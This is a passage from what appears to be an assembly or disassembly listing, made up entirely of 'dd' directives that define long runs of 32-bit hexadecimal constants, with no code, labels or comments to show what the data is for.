76A5E9FCh, 0D0FC2F89h, 0F4976462h, 0B054F18h, 638158D5h dd 0BD4D3F7h, 0E1F1025Ah, 75F5EBAAh, 6AF2DF63h, 0A0C5F5AEh dd 0A88DAEFFh, 0BD63FE08h, 0A1581129h, 114CB7Dh, 5BE6786h dd 2A333994h, 0AA7717ABh, 1713D912h, 10E05F05h, 626A69AAh dd 6F348C3Dh, 0EFD1CEB1h, 94CA25E6h, 0F5C5801Ch, 0ED75F539h dd 0FE1B15BBh, 0E97DE816h, 3E0F602Eh, 230E42BFh, 81525D4Ch dd 0F81C682Ah, 48A09734h, 0B981EA15h, 2206EA34h, 0C08E1948h dd 0CE3A311Ch, 3CC4608Eh, 9F051128h, 909246A3h, 0D9F11D0Fh dd 0F7778738h, 1B64154h, 492F3400h, 13EA810Ah, 1EA46F17h dd 0CB0F1CBFh, 0BBF359CBh, 0C6840190h, 0B932EA71h, 645FD696h dd 9C3CFB59h, 160C4B68h, 608BBE15h, 0E9525C02h, 0E7F0CFDCh dd 1342A8B4h, 0D0300305h, 2C187DB9h, 0AAFB9F30h, 50002BC1h dd 0CFB716B4h, 1242C780h, 0BD1895E9h, 0F78D9EB4h, 0E4166C9h dd 0CE62092Ch, 0DF3EEA4h, 0B6995250h, 0CADE2DA5h, 0BB8F9852h dd 0C64C12C9h, 17D71F47h, 580A4B38h, 0B7DF96D5h, 730C1268h dd 0BD25FE1Dh, 7EFCAA00h, 0AA17A8E9h, 0DCB8C081h, 735B8187h dd 3281743Bh, 125BAA6Ch, 0D6C6F828h, 2402CAAAh, 0E8A5710Ah dd 80E4779Dh, 44536168h, 0E95704AAh, 0FFE47345h, 806D40E3h dd 9D75C239h, 0EA8948F2h, 0D5158731h, 8B990429h, 55560B0h dd 567E4D68h, 22C0BE1Bh, 765B1F94h, 0F1C5041Ah, 0EE76C62Ah dd 4D75F4D0h, 89C92CB0h, 0E2DF39FAh, 39EE108Ch, 6F72813h dd 10BE3873h, 74C4595Eh, 9D0BC0ECh, 79DC09F8h, 0C1E5EB92h dd 77F08E02h, 0BE012547h, 2AA44BA2h, 0B67DEC6Eh, 597A095Ah dd 0CB06053Bh, 0C509FFF3h, 8EFD28BFh, 0C1FBB205h, 3EB5E993h dd 0E2663F82h, 0ED965F0Ah, 0EFEE918h, 97126824h, 0B0A0FBD1h dd 9F36EF20h, 2E924EC9h, 2FE9F0CCh, 7DE78037h, 42D92D3Fh dd 0FAECDF34h, 6A9E3F55h, 0E31A28C0h, 0B0F792BCh, 5E614083h dd 4565758h, 7A824EDAh, 0F56F40EFh, 41EC0E92h, 74E3E4EDh dd 9D67FEh, 5CE74780h, 2C1A24Ah, 7584C98Eh, 0F3550CB9h dd 0C4E4E83h, 0C8977CEDh, 0BB404743h, 916AAEACh, 0F47096Dh dd 0B327A2C6h, 6EB21826h, 56BF807Ah, 0F8AF5027h, 60024AEEh dd 0BA54C43Fh, 0D59180BDh, 1240D180h, 0CE8BAFE9h, 3E8F4146h dd 66406BC7h, 0B5203768h, 0FAD49491h, 974D4A60h, 89B89894h dd 812F6B2Ch, 6F087BF6h, 4194DEE2h, 29F9BFE9h, 15C9DEE2h dd 972EFEDBh, 0C838ABD1h, 58E29569h, 0B0F56E57h, 0FBAA5D28h dd 406E84Bh, 43183203h, 905EAF0h, 1DA9101Bh, 720CFF4h dd 0B1953AC4h, 5580B900h, 12B81534h, 375FB0Eh, 6BE1C04Ah dd 0BD025A33h, 51F2FB72h, 72387A17h, 8AF00AF1h, 24F2276Dh dd 9025197Ah, 3DBEDFEBh, 95AED90h, 0F25475E1h, 0D6FDA6AFh dd 34F2EA56h, 0D4BE6884h, 3B9DBAE1h, 42EDC16Ah, 0E128024Ch dd 0C43EB95Dh, 38B139A8h, 0A36BA94Ah, 0DFE982C0h, 94B0712Eh dd 0F918718Fh, 5D88D9Bh, 2206BD18h, 80085232h, 50BF7004h dd 97B175B6h, 148B0CC0h, 48F659BDh, 1087CA87h, 0E5301713h dd 34BA3C1Fh, 46DC0A07h, 57140AEh, 5E1F8D0Eh, 708BA002h dd 0BD2977C1h, 0A0A96C89h, 0AD9D677Dh, 965D983Ah, 0F76812DEh dd 84C86128h, 5EF33A0Dh, 84B8A85Ah, 69EBED81h, 0CFF1308Dh dd 20D34FB7h, 3A1CBD91h, 656D220h, 73C8F4B9h, 10258A1Bh dd 8FED301h, 3106FE9Ch, 20128FC3h, 829032F5h, 196BC400h dd 1860BA08h, 0E94612EAh, 0AC3DC46Dh, 43ED07B3h, 30C3545Ch dd 6E184C0Bh, 6986E502h, 9C607B61h, 4A2D19C6h, 12997806h dd 0FC2EAD2Bh, 6B390998h, 9D10FD48h, 26126F68h, 4C3935F8h dd 0B30E7620h, 58650258h, 0F04A61A8h, 0B6800F7h, 0B516EB63h dd 76976CF8h, 84FD492Fh, 72D18D65h, 0F36FD821h, 3D984AF3h dd 4060B8F2h, 0DD5CF759h, 0A2812CAh, 0F4D42DFDh, 7BC0432Fh dd 30B2DADh, 26DD460h, 2D5EC60h, 297E2959h, 0EB30A20Eh dd 93D7D464h, 0BE9A815Fh, 0D8E12A1Ah, 0F57A1BE9h, 5EB0220Bh dd 0AE18FBEDh, 4BB6808h, 1A1D521Eh, 5629178Bh, 0E5AAC274h dd 516193D4h, 0DA72E115h, 31E95F04h, 0C5F1E828h, 92ACE2D1h dd 7DDB097Fh, 0FC7E0913h, 1660108Eh, 248F8ABBh, 11C5150h dd 53D2306Dh, 5D7709BBh, 22807A6Ah, 27067BFBh, 3D07E3ECh dd 0C10E011Fh, 0EBA28169h, 428492FCh, 455B0E9h, 6AA45456h dd 0F32A4F0Fh, 6D531261h, 0F257D2A3h, 0AD414A24h, 979D9CF5h dd 51E0CBF6h, 0B0705B9h, 0E6E963D8h, 0E7684922h, 0B689AB56h dd 3397D15h, 637734D3h, 40476155h, 35129598h, 17B4948h dd 6FA36AC4h, 0DC2850E9h, 0E9D02916h, 82F58526h, 47119A20h dd 68483415h, 0C411B872h, 29D95439h, 5C0192E1h, 32129830h dd 0B991D119h, 1C86A80Dh, 0A7360EF0h, 0C0F79249h, 251234B7h dd 0EDA07C29h, 0BCBE5BB8h, 0BB7C5A1h, 114CC9D1h, 0AC813C57h dd 0CC31F274h, 4755DBE2h, 9EC1D9E9h, 0EAD13FD2h, 313FBDE4h dd 80F41118h, 0A61BA10h, 5F81486Ah, 2921CC44h, 0CE7868BFh dd 514BAE3h, 112A87C5h, 0C882BE77h, 1C3E5EFCh, 0BA1684Eh dd 64276058h, 1780F043h, 0F3EC163Dh, 87E77B0Bh, 1D84DFF8h dd 7AE6AE01h, 93D8DD2Eh, 5E80EB5Ah, 247BF4F1h, 104313ADh dd 760831B1h, 336E4937h, 0DD5E76BCh, 0BE5B70B8h, 44768A39h dd 0E4355C35h, 0DF417F94h, 0EFCEF07Fh, 0EEB2749h, 9706ACB9h dd 91ED2A1Dh, 313002E5h, 1CA35CF3h, 12114AD7h, 9074AFC0h dd 0AA3CD1D8h, 9F917063h, 0D9272FCCh, 0EAEC465Bh, 2FBCBA96h dd 3E55F588h, 0D45D20CFh dd 0A9B65212h, 1243CFBAh, 82308DA1h, 0B57A9A23h, 685F3B42h dd 20643EFDh, 66F62839h, 22276832h, 4EE8008h, 9D971178h dd 0BE99860h, 0D73A0B95h, 23A56CC7h, 2ED4BE6h, 42B8BDA2h dd 96F5285Bh, 924E0939h, 630A4072h, 857FA7D7h, 0B4161D89h dd 9B18FEBh, 0D132685Ch, 1770BCB7h, 0A84AE079h, 71859A5Ah dd 1E858B2Dh, 4C2F05F3h, 58C625AAh, 0FDC6BADDh, 5F53A6ECh dd 0C12D7882h, 607C2137h, 0C813372h, 4F14FEF1h, 22843F20h dd 0D352A3EEh, 0C72C8E0Fh, 7D9974BFh, 5062198Eh, 0F8C07D14h dd 101278EFh, 66BC29C2h, 0BBC0B842h, 9E60684h, 25DB4CC2h dd 442772Fh, 16299CF7h, 0BE010FCDh, 0EC4BCBDEh, 0D011B124h dd 0A8F0BB06h, 0C7DD734Fh, 0B968B3Bh, 0A0A93EE9h, 47360A34h dd 0E581B507h, 80B2EF01h, 5558C5DEh, 99BE2BE9h, 19D5AD68h dd 3238540Fh, 0E17AB24Eh, 3E124A55h, 0D9958570h, 1DDCCBC5h dd 91F4972h, 0F5BFB43Eh, 0C76A030Bh, 770BFF01h, 8B618B55h dd 1C725640h, 139FE687h, 38650C56h, 63B8D78Fh, 0EA0FA567h dd 75E0DAE2h, 752ADFC6h, 0E2328E1Dh, 6BADB378h, 0FC4C10E3h dd 99A17648h, 51DDCCA1h, 5C3B8C95h, 0EAFB7EAh, 762FA0E8h dd 0CB1A4AAh, 0EBC3E153h, 0C1397A28h, 20BA5EB5h, 5D5D5C08h dd 6CB79E20h, 5602BD37h, 0F177EB01h, 7BE9C119h, 0C94761Bh dd 1D499A68h, 2DC29D1Dh, 7A86167Fh, 0E9301366h, 0BB4BBB83h dd 3CA282FBh, 52B90009h, 3B4CDD08h, 76290360h, 24B2D51h dd 16B2DCBAh, 0A6600912h, 0E32D6855h, 0BBCFE42h, 0EDE45669h dd 0E760A2F0h, 5D9E2510h, 354E0323h, 57F95C10h, 6D09E4A8h dd 0D0405EEh, 89200BAEh, 0D2B04695h, 4BF8AB5Dh, 0E716A458h dd 0FABA5205h, 0B204B05Fh, 9C18BBB5h, 9D7276EBh, 0DF013113h dd 53FE4625h, 119F037Bh, 0FA10CA54h, 5A0FC7C9h, 8405F004h dd 0AA51E4C0h, 0D6B329B7h, 8CE08B8h, 8BBA552Dh, 53F77992h dd 271FA8C0h, 75144ABFh, 0F4BD995h, 0E41D5753h, 211001A2h dd 834D27D8h, 0CB87A20Eh, 3BEAE883h, 6F092F26h, 8823652h dd 67F70BA9h, 92892712h, 22E92518h, 6804239Eh, 6FF83245h dd 0EED4AADBh, 8D9FD61h, 71C58272h, 10DF50Fh, 0B963A3h dd 149F2DADh, 0CA25817Bh, 985E2F25h, 8EB486C5h, 0DB829759h dd 0B7021945h, 0EE7257FCh, 4D89F09Fh, 0D7820409h, 4DE60105h dd 5538EE2Eh, 85CB6FC3h, 0D79628BFh, 0C211F41h, 0D2BDDC9h dd 3EC1987Dh, 1111CADh, 72C703B9h, 0FA29D66Bh, 55A780DFh dd 7E18E60Ah, 601A9021h, 0B5EF2BD9h, 451637ECh, 9EA6F931h dd 678EE902h, 0DD5A4E8Ah, 78A04B11h, 143D5454h, 0BD79A872h dd 0F9442E2Fh, 9B83619Fh, 0EC930404h, 9354B325h, 1249DC08h dd 0D14C005Ch, 811C6074h, 43B0E105h, 8680625Fh, 4FE71F47h dd 0C9E70049h, 38B52624h, 9AF6E917h, 5A05A35Dh, 26991479h dd 2E2BB340h, 9AA6A0A0h, 0CD8180CAh, 0E0586D27h, 0B5465406h dd 964C34DBh, 8269023Dh, 380DE97Ch, 0E6600BF4h, 9045733Fh dd 930EA69h, 8E9492Dh, 284AC758h, 1127E6E8h, 96971970h dd 744F0B46h, 26C16723h, 0E0B28057h, 0BF4E0B7Dh, 0F482001Fh dd 5AD701B1h, 6217692Dh, 10EA24E3h, 0E912073Bh, 7E64A16Ch dd 8BCEBCB6h, 5E526856h, 0D7DACE96h, 0E08BE9F1h, 0C2DA1BC3h dd 50BF642Eh, 13D49DF5h, 494C8040h, 61905DFBh, 0FF82BD1Eh dd 5EB7D8CEh, 0EE5F653Fh, 0FC686A7Ch, 5F60A475h, 5B6F8138h dd 14E1DC52h, 0F2A06EB9h, 8856B109h, 0A0D24CCBh, 80C7704Dh dd 3328EB80h, 285DD766h, 0E05D27F7h, 3DB7A98Ah, 0F8A48A75h dd 3A215961h, 0E5E0C567h, 0E4BD7838h, 0C2D135E9h, 3930B99Ah dd 3EEF9C5Ah, 0B2A8F813h, 68D802DCh, 0B0FF7B99h, 97ACE967h dd 71E691A0h, 4EE60D0Ah, 40D6F72Dh, 27FDEC76h, 7056DFFAh dd 140BCA21h, 3D9C739Ch, 8142F827h, 0C288F17Fh, 5E8A7E9h dd 821672BBh, 41128DB6h, 42CECBC0h, 0E5555E4Ch, 250804E9h dd 0D68CA6DBh, 6B833213h, 7686B4ADh, 71C2037Dh, 55922973h dd 8248D5D2h, 445F315Ah, 0C6251EE3h, 0D1DDFBC2h, 0B68542BFh dd 144C940Ch, 86697861h, 1208B468h, 0F5E9B85Eh, 77AF6D09h dd 0AC5E1D91h, 0F309CE4Fh, 6649DFBCh, 3F773CD4h, 16B31E52h dd 78EE2D55h, 13C46816h, 0C8524633h, 3D8F1AC9h, 1425E96Fh dd 35AAF818h, 30BC082h, 7EF50781h, 0E431F944h, 5930F0D2h dd 5ED6682Ch, 0D9BA90BDh, 6604CB48h, 0AE5D4934h, 192089B5h dd 3D6F168Bh, 10FEAC15h, 5B28572Ah, 0BF40F0D7h, 2FFD09A8h dd 53BD2E94h, 8F7925BAh, 0E9C33040h, 8CED5BCAh, 401CBEECh dd 63AD6759h, 32880020h, 0E9F676D4h, 25BDEEFBh, 97BBF858h dd 0E2A45F6Fh, 0FE04D1D3h, 0C9932C5Fh, 9A329020h, 0B5689AB5h dd 2562EB54h, 686E6806h, 3AB00177h, 0F9586F35h, 3C8FFDD6h dd 58BE588Ah, 712A0EF9h, 9EBD0324h, 0FF9CD222h, 0E2BC7549h dd 8E8932F4h, 885D514Ch, 31136FA8h, 68382CEEh, 986B422Dh dd 2781C874h, 9EF81699h, 27E0F295h, 0F4DB7E5Ah, 43359249h dd 60AF8DDDh, 5B52D26h, 2C05F8BDh, 24463F36h, 7513D9Ah dd 0E91181FEh, 24730BA1h, 0E8C58731h, 777F393Bh, 0C9C0D65Bh dd 3D5827BDh, 0B122B12h, 0FE70BF7Bh, 276352EBh, 1DD8231Eh dd 770C420h, 9B60A9BAh, 0AB84A445h, 287B92A7h, 9FD8B4FCh dd 954273E2h, 5DB6C000h, 810025B3h, 2D063FCBh, 90EBC145h dd 85F3017Bh, 13677FFh, 0F8636D8h, 1247095Fh, 0B71264E2h dd 0C9E5B9F1h, 58AAF655h, 66255CF3h, 6EF5541Bh, 7228F2C0h dd 0E1957C5Dh, 60EA4239h, 4C976C75h, 6D693D9Dh, 5748A9D7h dd 0E98430EFh, 0CBAA34A5h, 7DEA004Eh, 2D396E32h, 0EF1E040Fh dd 80D00164h, 7B29FD98h, 0FE215Eh, 1F8FC626h, 997A75Ah dd 5BE77586h, 0BD13E941h, 8FEBF23Bh, 7FB9B644h, 0E892A5D0h dd 399A4EA2h, 1334E64Ah, 968B1857h, 895B63D9h, 299BE9BBh dd 8BC68E0h, 0AC3FE1EEh, 0CBABF598h, 0D04613D0h, 295E1BB6h dd 136037F8h, 0D6EC6EC6h, 12610284h, 0BC6C12FBh, 0F1625AB5h dd 8E527FE8h, 0E18E7BBFh, 0C22FF9E9h, 4C5E96D7h, 7E20EB5Fh dd 4E476818h, 0C14B3B33h, 90637A15h, 28E3E969h, 39AA4B78h dd 5FE03BE5h, 0E6764ED0h, 6A631973h, 57F8EB95h, 0B47EF99Fh dd 6A9C03FEh, 0B7BCF901h, 53B31F5h, 0FA9DF3BCh, 0B2527C30h dd 0C280283Fh, 0C9CE25D2h, 2202AFAh, 0C26698D6h, 5B225750h dd 3EFBD05Fh, 0FB92C0BDh, 0E9EB016Ah, 2A49DC29h, 76D20AD1h dd 0DED440FEh, 0C278BE50h, 680116EDh, 4655627Fh, 31E9169Ch dd 290ADCCDh, 0B6CA83CBh, 0E93F7538h, 447AD022h, 2A06ED5h dd 4305E801h, 4AC1EC2Fh, 0BA055C98h, 9D8BF883h, 1CA3B4BEh dd 56537C9Fh, 80CB7EB5h, 92AB850h, 0F75812A1h, 0E47916A8h dd 0FAA4BDF8h, 68C29EA3h, 19A102EAh, 2E5FE951h, 801AABA2h dd 0E6076472h, 771F92D9h, 2F21FA0Ch, 40FC0B04h, 0FE66093Bh dd 76CFE1Bh, 0C022026Ah, 6F1625CAh, 29F17F5Bh, 5A2C4CF4h dd 80AFE14Eh, 90E10D44h, 25DD29D0h, 0CE81ACE9h, 7007E4C0h dd 0DA44D96Dh, 6007B9DDh, 73DABF57h, 0F309FE3Ch, 252A53B7h dd 1FAA8E48h, 0B179652Ah, 514B8B98h, 0D61921B3h, 805A10E6h dd 0D5F75D3Bh, 0A6263D68h, 5A55248Dh, 0D0A945C7h, 715F68BEh dd 7B32D23Fh, 1DE5D526h, 31227769h, 66032022h, 13819353h dd 0EB12F174h, 3286F874h dd 5BE92D18h, 6884A10Eh, 0D403B888h, 0DC563680h, 0B0500750h dd 62C78884h, 59E32858h, 78F6DAB2h, 55EFCB4Fh, 3B91648h dd 0FADC423Bh, 20E53C25h, 46478246h, 62E29E34h, 0F3201BAFh dd 1F7DD483h, 56DA8919h, 40AB4B18h, 2E611DAh, 9FC20504h dd 0F2166F7Fh, 0BCD0DDA3h, 0AEBF6607h, 0C10144F0h, 2BA8377Eh dd 409D67CCh, 7B386877h, 2AAF4A25h, 0A19A5C0Dh, 122A1BE9h dd 9378B66Fh, 0DCF03F0Bh, 5C44CFD1h, 5544EE52h, 590997C9h dd 0B4F65FDh, 4DC6840Ah, 7A25025Fh, 0B0B7B2BEh, 0AA2CECE9h dd 70CF404Ch, 0EA29C4A6h, 64F5601h, 0C412FD57h, 4C683781h dd 8F1EC57Ah, 0DAE93A02h, 0D787E202h, 240E424Ah, 0A1F601ADh dd 0A24DAC4Fh, 0F5A9E159h, 0AEE65F97h, 8C611863h, 0B1C62CACh dd 60201B1Fh, 65BB0FCh, 826949E2h, 0F2380E5Ch, 0E0B73CECh dd 0EA20980Ch, 0B8E91813h, 705A4DCh, 352D4B1Dh, 530BF242h dd 0E9CFE874h, 404D5BD2h, 3E37CBD7h, 0CC152FEh, 586B42A3h dd 18A84130h, 182FAE5Dh, 0AF7046BBh, 0EB1C559Ah, 31A66954h dd 75BD981Ah, 5C963CC0h, 0B703E1A6h, 18E78050h, 3C069BC0h dd 0F7A80306h, 0D18AC4F4h, 4222ADC6h, 41597BF7h, 8C3502B7h dd 0D8BA43A4h, 146812C7h, 72D88C28h, 0B4BEABCh, 0FE94DDCCh dd 76E1F280h, 5BA0FD2h, 449D7362h, 1463281Bh, 0A726509Fh dd 62776012h, 13B6CBBAh, 38FB5451h, 24972BF2h, 1EA8D0BFh dd 101A5E3Eh, 4582184Fh, 5404B745h, 796B6789h, 0AB215404h dd 0D8D99162h, 0B70992F3h, 0E925DE1Ch, 0D156E2F5h, 2CA5BDEBh dd 0F3400BE2h, 0C52F228Bh, 28AAF671h, 74A6028Eh, 0D2F74BE8h dd 0BBD92C3h, 2E2B61BBh, 8DE3DEA0h, 724A635Fh, 404EE403h dd 16407402h, 0F9064D1Ch, 0E90840A0h, 55B10B26h, 34CB2D87h dd 465E0541h, 5618C268h, 0EB89ACF1h, 19A1E0D7h, 5E54DE6Fh dd 5A7E4EE1h, 8F0621E6h, 594B2F0Bh, 0C2F4B6E8h, 2BE4D936h dd 98974CFAh, 0DF3DA664h, 20D4964Bh, 0D6587CDAh, 6080744Bh dd 0F3CD18BDh, 916F3E93h, 0EC0291CEh, 0C5F84921h, 0FB87CE6Ah dd 0DFECB614h, 355EA28Ch, 255F2DC5h, 0DD0C7854h, 0F317AFh dd 68D15047h, 2128BD05h, 273D144Ch, 4156E8B7h, 0BEC1C0D3h dd 912EE590h, 0C185429Dh, 302B5D3Eh, 9A1EE26Bh, 0E4010F4Fh dd 4635F5FAh, 7CA16684h, 10BA806h, 1E873E11h, 0C46BB9E9h dd 9DDBFBDFh, 0E9823C52h, 4E56CC1Dh, 5317266Fh, 0CBB0712h dd 0A5181428h, 21132492h, 8CFE57C7h, 0D8AD9E47h, 0EB35045Ah dd 0E07F3F77h, 332D68A9h, 59517670h, 0F1996E29h, 70EB0F55h dd 0F6AEE97Ch, 0D84F4182h, 0A0A705E0h, 27435074h, 5D542F1Fh dd 596008A0h, 15F8720Eh, 67F8BD3Eh, 0C0D79783h, 0C629CB78h dd 0D7260390h, 0FC523BF3h, 0EAD12FB7h, 2EC9DA69h, 9D2CC10Ah dd 0C232D3D0h, 0C45950F3h, 41CA888Eh, 0C0DBE9D4h, 100E3C6Bh dd 54A65F24h, 0C3D1EE06h, 0D44A2094h, 56760503h, 11293B0Bh dd 7A9B6F8h, 58611DEEh, 4E0765FFh, 279B39EBh, 0EAF31672h dd 0BD759191h, 68C2532Ch, 0EC7D250Fh, 1E0E9F27h, 3E723D13h dd 384323CBh, 1DAC9510h, 8BB9CA80h, 8E2806EAh, 7EE69C4h dd 222D46AFh, 3F7EF62Ah, 81745EC8h, 1D6101FAh, 2B2AA331h dd 65001713h, 42F1105Bh, 680625E9h, 28E08530h, 131AF63Fh dd 0BEE442B4h, 0F4261232h, 325CFA67h, 0D983CFC2h, 7C8360B9h dd 7F4E276Dh, 8072DCAh, 5DA955Dh, 0AAE8419Dh, 3916B6B2h dd 4C9BA6AEh, 95B3208Ch, 0C4DF6D8Bh, 0B4AEA1E3h, 71B38003h dd 0EF41F199h, 0DB5FC382h, 7D0C308Fh, 8D0CB31Dh, 22D176E9h dd 0B71895BEh, 902E5A34h, 0F001757Dh, 11B874Ch, 0E6A62DAh dd 476BA508h, 0F24E94F7h, 0C3478510h, 818524ABh, 491876Ch dd 7434F482h, 0AD5A139Eh, 870E990Fh, 48756D30h, 21A0A5CEh dd 40C45DEBh, 0D1041B08h, 0C881EBE7h, 5F20DFF7h, 5FD829Eh dd 8AA1F825h, 0F4ABFC2Fh, 5E28E200h, 0B8D16434h, 25992501h dd 72EB1CD6h, 0C43A5B3Ah, 4022E396h, 0F780A688h, 55402CD0h dd 0FEF309FBh, 669727F2h, 99681371h, 0FA2DAA01h, 89B4BC6Ah dd 9BB87553h, 8782BC50h, 0A9C2D331h, 82B4FA19h, 1A7AD708h dd 440F5675h, 69766215h, 638C2A48h, 4D5EF020h, 7D5FD382h dd 0C569EF59h, 86E90BECh, 4DC0BF5Eh, 9F16ED0Ch, 0DB6FE160h dd 0BAB2A5Bh, 0FCAB8DCFh, 16FA05CEh, 5E521BC4h, 4E8E13B4h dd 92BEB35Bh, 68A230EAh, 771D4CABh, 389C5D14h, 8BE37165h dd 0FF465BEAh, 766A3009h, 0CB60FD43h, 2C1BC7CAh, 0BC843652h dd 8960290Fh, 0C9815AD1h, 0A008D704h, 3E83413Fh, 407D4BEh dd 2CF803F1h, 9544B4A7h, 0A840C5D6h, 72F4B106h, 9B05FA04h dd 0B682DD89h, 8C2540F5h, 0F8524A74h, 5DD21654h, 871064EFh dd 0BC280017h, 0D54C092Bh, 33845B41h, 0FD252DEAh, 5E632860h dd 0C01468F6h, 53CC8431h, 7197CB46h, 0AF680164h, 7A31C21Ah dd 0C5FEE4C7h, 0FCD1E04Fh, 0B860D089h, 331613DFh, 0B528BA0Eh dd 0CBB2591Ch, 3AE4228h, 96F28107h, 764EA3A2h, 0C2E93C01h dd 3021D82Bh, 8BA106Bh, 0D4FA247Dh, 0ADA04F32h, 0E829D957h dd 53FA5D5Bh, 2843065Fh, 0E664CB1Ah, 5C0BC50Eh, 7F992C68h dd 67B989Fh, 3A1AB512h, 0EB16EDDEh, 0F7230C0Eh, 60C48D89h dd 2CD03A28h, 0F368267Eh, 0A99F424Ah, 0FAB85905h, 0CB7B84h dd 4030F605h, 4EC39AC8h, 3E60FA5Bh, 42B4786Eh, 5E084050h dd 0EECDE6B7h, 5C95BFh, 0EB09E1A4h, 0ED8A7EA2h, 163A3C0Dh dd 0EEA34E92h, 7EECB8C0h, 5044BEFh, 21D6C70Fh, 4AA7C7AEh dd 0E8C107E6h, 0C3C8940Ah, 0A8EDCC4Ah, 449CDF22h, 62712320h dd 0CCD61202h, 338C292Ch, 0BD985B2Bh, 859759BDh, 0D857D268h dd 4F757EC7h, 49EF325Bh, 1A5F5A29h, 95F702CAh, 0DF8C4058h dd 2DC12517h, 0E69FC070h, 6D681C6Bh, 0E97C4433h, 8896E038h dd 2A20D177h, 1414B572h, 7F4B42B5h, 6CA5E2C5h, 0E9D49F1Ch dd 2DA86B88h, 3C7AF548h, 0EA584BC9h, 29357A1Ah, 0BB0E9Ch dd 63444360h, 0BC3F9F35h, 980120BBh, 0B3A04F2h, 0C389AC79h dd 0E5D04D87h, 43EE2FB1h, 14090C90h, 0F60C61D2h, 17D42242h dd 254F1FE9h, 5E164A59h, 0C5E042BFh, 1203085Ah, 1DEEEBAh dd 0C1FE00DAh, 7EC35A36h, 2195DFE9h, 58F468F7h, 0DD17C766h dd 32419039h, 0E6A073A2h, 9CBDE4FFh, 0BF2D0525h, 8035C678h dd 5464E961h, 685802BEh, 0E9764061h, 0A9787F30h, 0E4147CEBh dd 50CDC70h, 804FE003h, 0A3E9D808h, 2CE9884Ah, 4FC42786h dd 87882AE0h, 0E358092h, 0DBB2024h, 58C70Bh, 0DA05D939h dd 0E2C1246Ah, 0FBEF0BABh, 972093CCh, 0ED801C4Ah, 62CDC91Ch dd 0A4AC8204h, 2D0BE6D0h, 0C0390E52h, 4A190966h, 51C8A062h dd 4BF5B97h, 0ABE2A620h, 1C401C0Eh, 0E5C1DC27h, 2C73B42Bh dd 0CB730778h, 0EF5F5A92h, 7D82F1A3h, 0EB505266h, 0D478E174h dd 0D1F65A00h, 0C4FECC86h, 3FF40780h, 854FB353h, 0BC9685CBh dd 49D5A53h, 107EBA20h, 9033EC39h, 10267D08h, 0AB826213h dd 6B69CE56h, 0C9C7A22Dh, 2CDDF868h, 0EBD4442Bh, 0B480A965h dd 4B6068A5h, 1129D02h, 59EE397Fh, 0BA49B941h, 0E47BA504h dd 48BDD73Fh, 97DB8E07h, 1C52859h, 0CD017C95h, 755A3A12h dd 1B5AD2Ah, 0F0113C2Dh, 0C1CE0153h, 0A72FC52Ch, 16D321EDh dd 6835C012h, 0F0257B46h, 6D10024Eh, 0B50DC61Fh, 50D705F0h dd 68C661ABh, 0BD438DBh dd 0B002CFE9h, 0BD2E263Dh, 1C4DAE98h, 55804F99h, 0C76D35BDh dd 29B9028h, 253A0417h, 8C5465E9h, 49A9240Fh, 0CDE0DD0Ah dd 5C95E54Bh, 65997179h, 0F8FC7E15h, 1943F107h, 39B91051h dd 46651E0Ah, 99AE591Ch, 0A6F06A1Ah, 556231B7h, 5A5F064h dd 24BE14AAh, 0D65C9900h, 0F7CB810Ah, 4F170E1Dh, 0CD08DB12h dd 686603C2h, 0A5CF458Bh, 0CC864C84h, 544A5649h, 0C427E88Dh dd 0B92AAA41h, 2412D3CEh, 0F416BE24h, 0F620BB06h, 0C3B90012h dd 812AD044h, 7C3845E1h, 500C60AAh, 16528E70h, 9162AFE9h dd 2C77DA5h, 7BCAC851h, 22AAC672h, 351EBDACh, 0F17F0AF1h dd 436862C2h, 5FE49971h, 8B13B429h, 5988F2E3h, 91899FF2h dd 591A75E5h, 26D778DFh, 26E1CE89h, 2996AF77h, 3B26EF26h dd 71552841h, 0BF69D70h, 44C22FD7h, 0BF9ED758h, 0BB5B80BCh dd 0C72DE085h, 11D2277Bh, 720907Eh, 67CEE917h, 68E0FEACh dd 5CB4184Bh, 0F735D390h, 0A5E1AB88h, 83A120h, 8141A201h dd 6D1EB1E2h, 0F87A3C60h, 7C790734h, 2719EC1h, 0AFD7516h dd 0D70EC15Dh, 0FE7B006Eh, 66012444h, 2D91097h, 0F9C73980h dd 0E94EF785h, 4A18ACC2h, 0A1B40DB8h, 0CD202B7Eh, 0F3548C7h dd 0CF017CB4h, 2408EF0Ah, 0A9F7029Fh, 0C6C19A27h, 1F2C3FFAh dd 54459548h, 0D0B84192h, 2BD2D4Eh, 0FD60B289h, 30C3D82Fh dd 0B0286EB3h, 9576045Bh, 0B704C546h, 0F8CF8037h, 8416F4AFh dd 0DABAE915h, 215F11BAh, 15CCA01Ah, 0AB5A4404h, 5845F17h dd 4A4DF7EEh, 0C7A42CABh, 0D7516648h, 0A1BB7C45h, 448839ABh dd 5F76B98Bh, 257884B8h, 0C85E6E7Bh, 0E54665EFh, 955898A4h dd 9341402h, 0DEECE20Bh, 5C7C7A90h, 267E4358h, 2576543Ah dd 78AF1A74h, 0F1084C3Fh, 0F74DD23Eh, 9CA0814Eh, 76BF00ECh dd 2BFE2420h, 0F702044Bh, 0CBE3B9D7h, 9C6FDF8h, 548211B9h dd 0ECB3F7E9h, 0C4DC2F73h, 571EF351h, 36ADDE56h, 0DF606F10h dd 0D1357149h, 78694260h, 8FA04773h, 40DD964Fh, 9F8F9EECh dd 6B0C8099h, 0DFC1CD41h, 7ACA4C05h, 0C108829Fh, 0B90088E7h dd 0D63A0DBAh, 0BBE3455h, 91300BA1h, 43F282B6h, 5BC37A97h dd 0D530BF5Ah, 260E53EFh, 2E5D1BBEh, 0A56861C4h, 0DBDFC205h dd 43E9E1E8h, 65B26BB8h, 0BFB6EE78h, 6B9D0419h, 0D2909313h dd 12EEC381h, 0FA38054Dh, 17200AC9h, 132F1F4Bh, 2ADF8201h dd 60772EE3h, 9008E81Dh, 16DD3C11h, 20CE7A28h, 64B81278h dd 272D2574h, 160B4475h, 9C1FAEE9h, 41977787h, 0E72F5C28h dd 2908D4AEh, 6842F24Fh, 9F177A07h, 41CC46FEh, 644F13D8h dd 0E93D0A33h, 0C8890907h, 0A1E22A54h, 0FDF14A98h, 284C83E0h dd 0CA5AE37Ch, 73BE4300h, 0B03A6526h, 0A0C44CE8h, 17DC2C28h dd 44E1BDFh, 0F132DA2h, 0C24AE456h, 4E9EF7BEh, 58BECADh dd 0E98931D4h, 89F476C3h, 0BF8633CFh, 0F76296D5h, 753FEB17h dd 0F5EB8A70h, 6E753532h, 0EA81468Bh, 0C84910AAh, 5BB71CE9h dd 8D79095Dh, 7BCBC5F9h, 38D026DEh, 5E5D73A0h, 581D9213h dd 0E35EBA90h, 